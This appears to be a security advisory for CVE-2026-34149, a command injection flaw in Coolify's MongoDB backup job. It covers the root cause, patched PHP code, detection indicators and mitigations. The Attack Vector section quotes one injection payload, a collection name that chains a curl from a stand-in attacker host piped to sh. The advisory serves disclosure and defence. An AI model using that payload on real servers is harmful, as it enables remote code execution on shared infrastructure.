CVE-2026-34149: Coolify RCE Vulnerability

CVE-2026-34149 Overview

CVE-2026-34149 is a command injection vulnerability [CWE-78] in Coolify, an open-source self-hostable platform for managing servers, applications, and databases. The DatabaseBackupJob component interpolates user-controlled database credentials and MongoDB collection exclusion names directly into backup shell commands without adequate escaping. An authenticated user holding database management permissions can inject arbitrary shell commands executed on managed servers. The issue is resolved in Coolify version 4.0.0-beta.471.

Critical Impact
Authenticated users with database management privileges can execute arbitrary OS commands on Coolify-managed servers through crafted MongoDB collection names or database credentials passed to backup jobs.

Affected Products

Coolify versions prior to 4.0.0-beta.471
Deployments using MongoDB backup functionality via DatabaseBackupJob
Self-hosted Coolify instances managing remote database servers

Discovery Timeline

2026-07-07 - CVE-2026-34149 published to the National Vulnerability Database
2026-07-07 - Last updated in NVD database

Technical Details for CVE-2026-34149

Vulnerability Analysis

The vulnerability resides in Coolify's DatabaseBackupJob class, which constructs mongodump shell commands by concatenating user-supplied values. Collection exclusion names and MongoDB connection URIs are inserted into command strings without shell metacharacter escaping. When the backup job executes, the crafted string is interpreted by the shell, allowing command chaining through characters such as ;, |, $(), and backticks.

Exploitation requires authenticated access with high privileges — specifically, a user permitted to configure database backups. The commands execute in the context of the Coolify worker on the managed server, giving attackers a foothold on infrastructure that hosts multiple tenant applications and databases.

Root Cause

The root cause is missing input validation and improper neutralization of special elements used in an OS command [CWE-78]. The pre-patch code in app/Jobs/DatabaseBackupJob.php passed the $collectionsToExclude collection directly through implode(' --excludeCollection ') into a docker exec ... mongodump shell string. No call to escapeshellarg() or validation routine wrapped the user input before shell interpretation.

Attack Vector

An authenticated administrator of a managed database configures backup settings, supplying a malicious collection exclusion name such as col1 --archive=/tmp/x; curl attacker/sh | sh #. When the scheduled backup runs, the shell parses the injected sequence and executes attacker-controlled commands on the target server.

php

// Patched code in app/Jobs/DatabaseBackupJob.php
// Validate and escape each collection name
$escapedCollections = $collectionsToExclude->map(function ($collection) {
    $collection = trim($collection);
    validateShellSafePath($collection, 'collection name');

    return escapeshellarg($collection);
});

if (str($this->database->image)->startsWith('mongo:4')) {
    $commands[] = "docker exec $this->container_name mongodump --uri=$url --gzip --excludeCollection "
        .$escapedCollections->implode(' --excludeCollection ')." --archive > $this->backup_location";
} else {
    $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --excludeCollection "
        .$escapedCollections->implode(' --excludeCollection ')." --archive > $this->backup_location";
}
// Source: https://github.com/coollabsio/coolify/commit/99043600ee881fd8581185e7590604d9882382cd

The patch introduces validateShellSafePath() and wraps each collection name with escapeshellarg() before command assembly. A companion patch in app/Http/Controllers/Api/DatabasesController.php validates databases_to_backup input at the API layer via validateDatabasesBackupInput(), rejecting malformed values with HTTP 422.

Detection Methods for CVE-2026-34149

Indicators of Compromise

Unexpected child processes spawned from Coolify worker containers or docker exec invocations targeting mongodump
Shell metacharacters (;, |, `, $() present in stored MongoDB collection exclusion configuration fields
Outbound network connections initiated by backup jobs to unfamiliar hosts during scheduled backup windows
New user accounts, cron entries, or SSH keys appearing on Coolify-managed servers following backup execution

Detection Strategies

Audit the Coolify database for backup configurations containing suspicious characters in collection or database name fields
Inspect Laravel job logs and worker output for mongodump commands whose arguments contain shell operators
Monitor process ancestry on managed servers: legitimate backups spawn only mongodump under docker exec, not shells or interpreters

Monitoring Recommendations

Enable command-line auditing (auditd on Linux) for processes launched by the Coolify service account
Forward Coolify application and worker logs to a centralized SIEM and alert on backup jobs producing non-zero exit codes or unusual runtimes
Track file integrity for /root, /home, and ~/.ssh directories on servers managed by Coolify

How to Mitigate CVE-2026-34149

Immediate Actions Required

Upgrade Coolify to version 4.0.0-beta.471 or later without delay
Review the roster of accounts granted database management permissions and revoke access from non-essential users
Audit existing backup configurations for injected payloads in collection exclusion lists and database identifier fields
Rotate credentials for MongoDB instances and any secrets that may have been readable by the Coolify worker process

Patch Information

The fix is delivered in Coolify v4.0.0-beta.471. Two commits address the issue: 952f3247 and 99043600. Full details are documented in GitHub Security Advisory GHSA-4vff-6j8j-qhcg.

Workarounds

Restrict the database management role to trusted administrators until the patch is deployed
Disable scheduled MongoDB backups for affected databases where collection exclusion is configured
Isolate Coolify workers on segmented networks to limit lateral movement if command execution occurs

bash

# Upgrade Coolify to the fixed release
curl -fsSL https://cdn.coollabs.io/coolify/install.sh | bash

# Verify installed version meets or exceeds the fixed release
docker exec coolify php artisan about | grep -i version
# Expected: v4.0.0-beta.471 or later